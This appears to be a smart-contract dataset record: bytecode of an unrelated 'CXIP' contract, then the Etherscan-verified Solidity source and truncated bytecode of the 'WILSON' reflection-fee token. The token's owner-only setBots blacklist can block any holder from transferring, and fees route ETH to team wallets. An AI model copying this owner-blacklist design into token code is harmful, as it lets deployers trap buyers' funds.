0x608060405234801561001057600080fd5b50600436106100be5760003560e01c8063699ec11311610076578063c3386c811161005b578063c3386c8114610184578063dbdd85a3146101a4578063eb6538e9146101b757600080fd5b8063699ec1131461015e57806388e7e7661461017157600080fd5b806327f63b05116100a757806327f63b05146101155780632b09f45614610138578063455114a31461014b57600080fd5b806310cd8d34146100c35780631555d26f14610100575b600080fd5b6100d66100d136600461135d565b6101ca565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b61011361010e366004611395565b610203565b005b61012861012336600461135d565b61079d565b60405190151581526020016100f7565b61012861014636600461135d565b610895565b60005460ff166040516100f791906114b1565b61011361016c3660046113df565b610941565b61012861017f36600461135d565b610fa3565b61019761019236600461135d565b61104f565b6040516100f79190611497565b6101286101b2366004611431565b61119f565b6101286101c5366004611431565b6112a9565b6000806101fc8373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b9392505050565b3373c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff1663b9da967d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561025e57600080fd5b505afa158015610272573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102969190611379565b6040517f0172e60e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301529190911690630172e60e9060240160206040518083038186803b1580156102ff57600080fd5b505afa158015610313573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610337919061145c565b6103a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a20696e76616c6964204964656e7469747920636f6e74726163740060448201526064015b60405180910390fd5b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152829190821690637f247e499060240160206040518083038186803b15801561040c57600080fd5b505afa158015610420573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610444919061145c565b6104aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f435849503a2063726561746f722077616c6c6574206e6f74206f776e657200006044820152606401610399565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301528216906327f63b059060240160206040518083038186803b15801561051157600080fd5b505afa158015610525573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610549919061145c565b6105af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b600083156106f4578173ffffffffffffffffffffffffffffffffffffffff1663fe75154b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610635919061145c565b61069b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f435849503a206e6f742061206e657720636f6c6c656374696f6e0000000000006044820152606401610399565b506040805173ffffffffffffffffffffffffffffffffffffffff8087168252871660208201526001917f5d0de243db1669e3a7056744cd715c625f0c1c348736c2c2d53d0ddebff1a6c7910160405180910390a1610745565b6040805173ffffffffffffffffffffffffffffffffffffffff8088168252881660208201527fde026c5319b7c35f108a6ccfc922edc8008522079b610aee3c676bb7b7b7fb35910160405180910390a15b505073ffffffffffffffffffffffffffffffffffffffff928316600090815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909316179091555050565b6000806107cf8373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166107f55750600092915050565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84811660048301528216906327f63b05906024015b60206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fc919061145c565b6000806108c78373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166108ed5750600092915050565b6040517f2b09f45600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8481166004830152821690632b09f45690602401610845565b3373c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff1663b9da967d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561099c57600080fd5b505afa1580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d49190611379565b6040517f0172e60e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301529190911690630172e60e9060240160206040518083038186803b158015610a3d57600080fd5b505afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a75919061145c565b610adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a20696e76616c6964204964656e7469747920636f6e7472616374006044820152606401610399565b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152829190821690637f247e499060240160206040518083038186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d919061145c565b610be3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f435849503a2063726561746f722077616c6c6574206e6f74206f776e657200006044820152606401610399565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301528216906327f63b059060240160206040518083038186803b158015610c4a57600080fd5b505afa158015610c5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c82919061145c565b610ce8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b6040517feb6538e900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301526024820186905282169063eb6538e99060440160206040518083038186803b158015610d5657600080fd5b505afa158015610d6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8e919061145c565b610df4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f435849503a206e6f74207265676973746572656420746f6b656e0000000000006044820152606401610399565b60008315610f41578173ffffffffffffffffffffffffffffffffffffffff1663fe75154b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4257600080fd5b505afa158015610e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7a919061145c565b610ee0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f435849503a206e6f742061206e657720636f6c6c656374696f6e20746f6b656e6044820152606401610399565b506040805173ffffffffffffffffffffffffffffffffffffffff8088168252881660208201529081018590526001907ffde888083b38fe6deac8498d5daebda0d38d0d3e6167e434b633f955152766fa9060600160405180910390a1610f9a565b6040805173ffffffffffffffffffffffffffffffffffffffff8089168252891660208201529081018690527f7156d0b8d9ed8d1117b97d76a15a304bad2749fc23251c2c7ed65a06989528509060600160405180910390a15b50505050505050565b600080610fd58373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff8116610ffb5750600092915050565b6040517f88e7e76600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84811660048301528216906388e7e76690602401610845565b6000806110818373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff8116611100576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b6040517fc3386c8100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015282169063c3386c819060240160206040518083038186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fc9190611478565b6000806111d18473ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166111f85760009150506112a3565b6040517fdbdd85a300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301526024820185905282169063dbdd85a3906044015b60206040518083038186803b15801561126757600080fd5b505afa15801561127b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129f919061145c565b9150505b92915050565b6000806112db8473ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166113025760009150506112a3565b6040517feb6538e900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301526024820185905282169063eb6538e99060440161124f565b60006020828403121561136e578081fd5b81356101fc816114f0565b60006020828403121561138a578081fd5b81516101fc816114f0565b6000806000606084860312156113a9578182fd5b83356113b4816114f0565b925060208401356113c4816114f0565b915060408401356113d481611515565b809150509250925092565b600080600080608085870312156113f4578081fd5b84356113ff816114f0565b9350602085013561140f816114f0565b925060408501359150606085013561142681611515565b939692955090935050565b60008060408385031215611443578182fd5b823561144e816114f0565b946020939093013593505050565b60006020828403121561146d578081fd5b81516101fc81611515565b600060208284031215611489578081fd5b8151600481106101fc578182fd5b60208101600483106114ab576114ab6114c1565b91905290565b60208101600383106114ab576114ab5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461151257600080fd5b50565b801515811461151257600080fdfea26469706673582212208f4fa10b962496969089a0aaee8da6e673bab7c42961fbdeeac8704408855f6664736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,480 |
0x808dd152a7d51643185786c4d30292366abc445b
|
/**
*Submitted for verification at Etherscan.io on 2021-08-17
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-17
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WILSON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WILSON_T.me/WILSONToken";
string private constant _symbol = "WILSON";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 6;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_teamFee = 6;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ed7565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129fa565b61045e565b6040516101789190612ebc565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613079565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129ab565b61048c565b6040516101e09190612ebc565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061291d565b610565565b005b34801561021e57600080fd5b50610227610655565b60405161023491906130ee565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a77565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061291d565b610782565b6040516102b19190613079565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612dee565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612ed7565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129fa565b61098c565b60405161035b9190612ebc565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a36565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac9565b6110ce565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061296f565b611216565b6040516104189190613079565b60405180910390f35b60606040518060400160405280601781526020017f57494c534f4e5f542e6d652f57494c534f4e546f6b656e000000000000000000815250905090565b600061047261046b61129d565b84846112a5565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610499848484611470565b61055a846104a561129d565b610555856040518060600160405280602881526020016137b260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61129d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6112a5565b600190509392505050565b61056d61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fb9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fb9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161129d565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c93565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e565b9050919050565b6107db61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f57494c534f4e0000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961129d565b8484611470565b6001905092915050565b6109b261129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fb9565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee9061338f565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b61129d565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611dfc565b50565b610b7c61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fb9565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613039565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112a5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612946565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612946565b6040518363ffffffff1660e01b8152600401610e1d929190612e09565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612946565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e5b565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612af2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066071afd498d00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611078929190612e32565b602060405180830381600087803b15801561109257600080fd5b505af11580156110a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ca9190612aa0565b5050565b6110d661129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612fb9565b60405180910390fd5b600081116111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612f79565b60405180910390fd5b6111d460646111c683670de0b6b3a76400006120f690919063ffffffff16565b61217190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120b9190613079565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613019565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611385576040517f08c379a0000